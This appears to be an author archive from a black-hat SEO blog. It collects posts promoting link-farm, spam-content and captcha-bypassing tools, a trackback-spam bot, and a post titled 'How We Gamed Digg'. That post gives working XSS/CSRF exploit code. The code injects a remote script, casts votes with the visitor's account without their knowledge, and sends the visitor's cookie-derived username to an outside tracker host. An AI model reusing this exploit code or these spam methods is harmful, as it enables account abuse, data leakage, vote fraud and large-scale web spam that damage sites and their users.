Author Archive for busin3ss

Migrating Servers

Howdy everybody!

We are going to migrate http://getyacg.com and http://blackhatseo-blog.com today, so you should expect them to be offline for some hours.

We are going to pimp out everything, so you should expect faster and better forums and tickets system.

If you are a [YACG] Mass Installer or Link Farm Evolution customer, you can send us all your support inquiries to support@blackhatseo-blog.com while the ticket system is offline.

EDIT: Everything is back to normal now! We apologize for such a long downtime, all the open issues and e-mails will be answered shortly. Thank you for your patience.

DIM: Drive, Incentivate and Monetize!

Howdy!

We are going to start talking about an interesting strategy we’ve been using for quite a bit that we call DIM.

DIM is pretty simple to understand, but a bit complex on the execution. Here is a quick diagram to explain how it works:

DIM

In the following days we are going to cover every single step of this technique, and for those without background experience we are also going to show what tools you need to execute this.

This will be a case study too, so you will be able to see live examples of it – Some of them with a big, steady monthly income.

How We Gamed Digg for Fun and Profit!

Disclaimer: This post was written to raise awareness about the importance of protecting your sites against this kind of attacks. Even though all the technical stuff (including the XSS!) is real, the actual story of what we supposedly did is not — We just wanted to spice things up a bit. Keep in mind that Digg is one of the most visited sites in the world and they must have a whole team of experts dedicated to protect themselves to this kind of stuff, don’t they? :)

Almost a year and a half ago we learned about an undisclosed XSS hole in Digg.com thanks to Beni. He is an outstanding security researcher and author of pretty sick stuff like this Digg, Delicious, Netscape and Technorati XSS Worm.

The actual XSS hole is this:

Removed after a long talk with my crew because there is the *possibility* that the XSS vector could be used as an SQL Injection too.

For those who aren’t tech savvy enough, we are going to try to explain everything so you can get a grasp about the importance of this kind of holes.

XSS is a type of computer security vulnerability typically found in web applications which allow code injection by malicious web users into the web pages viewed by other user. This type of vulnerabilities are useful to overcome the same origin policy that is implemented in all modern browsers. In a nutshell, this policy permits scripts running on pages originating from the same site to access the content with no specific restrictions — but prevents access to the content across pages on different sites.

For example, if we access http://asd.com and a script is executed, that script will be able to access f http://asd.com/*.html. However, it won’t be able to read anything located at http://jkl.com or even at http://subdomain.asd.com.

Now let’s examine Digg’s architecture, starting with their voting button:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<form action="/digremote" id="f1" name="f1" method="post" target="_top">
<input type="hidden" name="digcheck" value="00000000000000000000000000000000" />
<input type="hidden" name="id" value="10797160" />
...
<li class="digg-it" id="diglink1"><a href="#" onclick="document.getElementById('f1').submit(); return false" target="_top">digg it</a></li>
...
</form>
...
<script type="text/javascript">var s_account = "diggcomsyndication";</script>
<script src="http://media.digg.com/js/loader/261/omnidiggthis" type="text/javascript"></script>
<script type="text/javascript"><!--
s.pageName = 'diggthis:digg';
s.prop9 = 'diggthis:default';
s.prop24 = 'diggthis::comedy';
s.prop29 = 'news';
s.prop4 = '00000000000000000000000000000000';
s.prop21 = 'diggthis';
s.prop22 = 'diggthis:';
s.prop23 = 'diggthis::comedy';
s.hier1 = 'diggthis,,comedy';
s.prop14 = 'diggthis:default';
s.prop8 = 'logged-in';
s.channel = 'digg.com';
var s_code=s.t();
if (s_code) document.write(s_code);
//--></script>
...

The code above will generate a button similar to this one:

Digg button @ http://cracked.com

In order to prevent a CSRF attack to autovote stories, Digg implemented the digcheck value. If you are a mean webmaster and you want to autovote your story from your visitors accounts without their knowledge, you would need to obtain the digcheck value and the Digg cookie of each visitor. There are various ways of obtaining those two bits of information, but in this case we are going to use the XSS vulnerability.

The best way of learning is doing-it-yourself, so open up the Firebug console while browsing Digg (make sure you are logged in) and execute the following script:

1
2
3
4
c = document.cookie;
l = 'loginn';
u = c.substr(c.indexOf(l)+10,c.indexOf(';',c.indexOf(l))-c.indexOf(l)-10);
alert(u);

You will see your username in an alert box since you are running the script inside Digg.com. You can achieve the same effect using the XSS, or you could use it to do something more interesting like autovoting.

Our “setup” for autovoting can be explained with this diagram:

Diagram

The exploit is pretty straight forward, and it consists of two files. The first file sends a POST request to the vulnerable page to inject a script:

1
2
3
4
5
6
7
8
9
10
11
<form action="post.php" method="post">
<div><input type="submit" /></div>
</form>
<script type="text/javascript">
<!--
with (document.forms[0]) {
	action="http://digg.com/vulnerablepage?vulnerablevariable=<script src=http%3A%2F%2Fhost.tdl%2Fautovote.js>";
	submit();
}
-->
</script>

The second file is the actual script that autovotes the post in the “money” site:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
var url = 'http://digg.com/comedy/7_Items_You_Won_t_Believe_Are_Actually_Legal';
new Ajax.Request(url,
	{
		method:'post',
		onSuccess:function(t) {
			t = t.responseText;
			a = 'javascript:dig(';
			if (t.indexOf(a) > 0) {
				i = t.indexOf('s.prop18 = \'')+12;
				i = t.substr(i,t.indexOf('\'',i)-i);
				a = t.substr(t.indexOf(',',t.indexOf(',',t.indexOf(a)+a.length)+1)+2,32);
				p = 'id='+i+'&row=5&digcheck='+a+'&type=s&loc=other';	
				new Ajax.Request('http://digg.com/diginfull', { 
					method:'post',
					parameters:p, 
					onSuccess:function(t) {
						new Ajax.Request(url, {
							method:'post',
							onSuccess:function(t) {
								if (t.responseText.indexOf('dugg') > 0) {
									c = document.cookie;
									l = 'loginn';
									u = c.substr(c.indexOf(l)+10,c.indexOf(';',c.indexOf(l))-c.indexOf(l)-10);
									var s = 'http://host.tdl/tracker.php?user='+u;
									document.body.innerHTML+='<img src="'+s+'" />';
								}
							}	
						});
					}
				});
			}
		}
	});

Of course we couldn’t leave it like this, so we took things down a step further and we implemented a lot of more goodies. One of them was this neat css history hack thingy, to check if the visitor actually came from Digg. Another thing we implemented, the cherry on the pie, is this:

Twitter Robot

We had a mother fucker robot that informed us anytime someone Digged one of our stories. Yes, a freakin’ XSS exploit communicating with us via tweets.

We rule so bad.

Content is NOT important

Content is NOT important. Content is NOT important. Content is NOT important. Content is NOT important. Content is NOT important. Content is NOT important. Content is NOT important. Content is NOT important. Content is NOT important. Content is NOT important. Content is NOT important. Content is NOT important. Content is NOT important. Content is NOT important. (…)

I could make an entire post like that with nothing but rubbish content and it wouldn’t matter. Why? Because content doesn’t matter, backlinks do.

Ok, that might sound a bit exaggerate… And I must admit, whenever I work on a site I spend more time working with the content than anything else (Even in my blackhat ventures like [YACG], it’s pretty evident that I make a big deal out of content).

In fact, you know what? Scratch everything I just said. Content IS important, but it all depends on what you are trying to achieve.  I make a big deal out of it because of the usability of the website. Because Good content = Returning visitors, and we all know that.

But in the particular case of rankings, backlinks are much more important than content. Let’s take as an example the keyword “click here”:

Google results for "click here"

Bing results for "click here"

Interesting. Now let’s take a look at “worst band in the world”:

Google results for worst band in the world*I firebug’ed out the first results for the sake of the length of this post

It’s evident that there’s not a single mention of “click here” or “worst band in the world” in those sites, but still they are ranking #1 for those keywords. Why? Simple, there’s a bunch of backlinks with that anchor text pointing to those sites.

(Bullshit alert!)

I’ve done some extensive testing over the past couple of years using neural networks, statistical analysis, midgets and large quantities of vodka… And I think I figured out how Google’s algorithm work. I’m planning on releasing a paper later on, but here’s the basic formula:

Google's algorithm

Where K is Google’s magic constant (100), 0.1 is the position you want (0.1 for #1, 0.2 for #2, 1.1 for #11 etc…), x1 is the number of words in the page you want to rank (without counting the keyword you want to rank for), x2 is the number of times the keyword appears on the page and f(x1,x2) is an approximation to the number of backlinks with the keyword as anchor that you need.

You don’t believe me? Let’s try it out with http://get.adobe.com/reader/ for “click here” on #1 position. I used for this experiment this word count tool and Yahoo! Site Explorer.

Google's Algorithm (2)Google's Algorith (3)According to Yahoo! Site Explorer, http://get.adobe.com/reader/ has 652,799 backlinks.

Yes, this is the moment when you go all HOLY-MOTHER-OF-GOD at your computer screen and nearby peers.

(Bullshit alert is over!)

Bottom line: Looking for rankings? Focus on backlinks.

[YACG] 3.9 has just been released. Grab it while is hot!

The best damn content generator in the world has just been updated. Get the details at http://getyacg.com/yacg-3-9.

Double the goodness, half the file size. Still open source and free!

Get higher positions in SERPs and wicked-fast indexing by search engines with thousands of free one-way links

Link Farm Evolution is the tool that allows you to harness the power of social media platforms such as Wordpress Multi-User, Pligg and Blogger to build a vast link farm. Open-source and wide-spread, those platforms allow you to get quality links on thousands of unique domains in unlimited quantities. And the best part is that you don’t have to pay a thing or do any manual labor to do that. – We even take care of captchas for you :)

Check out this general overview of what is Link Farm Evolution:

It’s Time to Make Investments That Pay off — Get Link Farm Evolution Right Now at http://linkfarmevolution.com

Abandoned project turned into a monster

Holy shit, do you remember my black hat command center? It was an attempt to manage my whole inventory of domains, sites, accounts and integrate all the scripts that I was using at that time (Social bookmarking, sitemap submitter, trackback spammer, social bookmarking etc…) Unfortunately, I got involved in a lot of other projects and I never really had the time to develop my pet project to it’s full potential.

It’s been abandoned for over a year now, but for some reason I never took it offline. Yesterday was one of those days that I don’t know why I decided to login again and found this.

Network Operation Center

It’s been scraping keyw0rds and sending trackbacks like crazy (Talk about reliability!)…

  • This system had a cron that scraped the daily search trends, and then scraped and generated longtails for each daily trend (+250,000 longtails)
  • Then, after doing a bunch of other internal processes it scraped blogs related to each longtail and did a couple of tests to see if you could send a trackback to the blog. (+2,500,000 blogs sorted by longtail that accept trackbacks from my script)
  • +80,000 fresh and tested proxies
  • +20,000 ips from search engines

Too bad I turned off the content generation to keep the load down on my server, because I would have a database with unique human readable content for +250,000 longtails.

I wonder what would have happened if I had left a couple of sites running on auto mode on the system with all turned on.

Try Google AdWords with $250 in free advertising

There’s not much to say about this promotion other than it expires on January 31, 2009. To claim your coupon, please go to:

http://www.google.com/ads/250/v.html

Back from Europe

I know things have been a bit slow lately, but that was because I was taking some well deserved vacations.

This week I’ll start catching up with all the emails, posts and comments.

[YACG] Mass Installer Affiliate Program

I’ve just added an affiliate program to [YACG] Mass Installer. To get started, go here and get your link.

Whenever somebody buys [YACG] Mass Installer using your link you will get $27 dollars into your Paypal account! We will process all payments each 15 days, no delays whatsoever. It couldn’t get any easier than this :)

For those cheap ones out there… Yes, you can use this link to buy a copy for yourself.

If your going to do some heavy promotion, ping me at busin3ss [at] gmail [dot] com and we might be able to work out a better deal for you.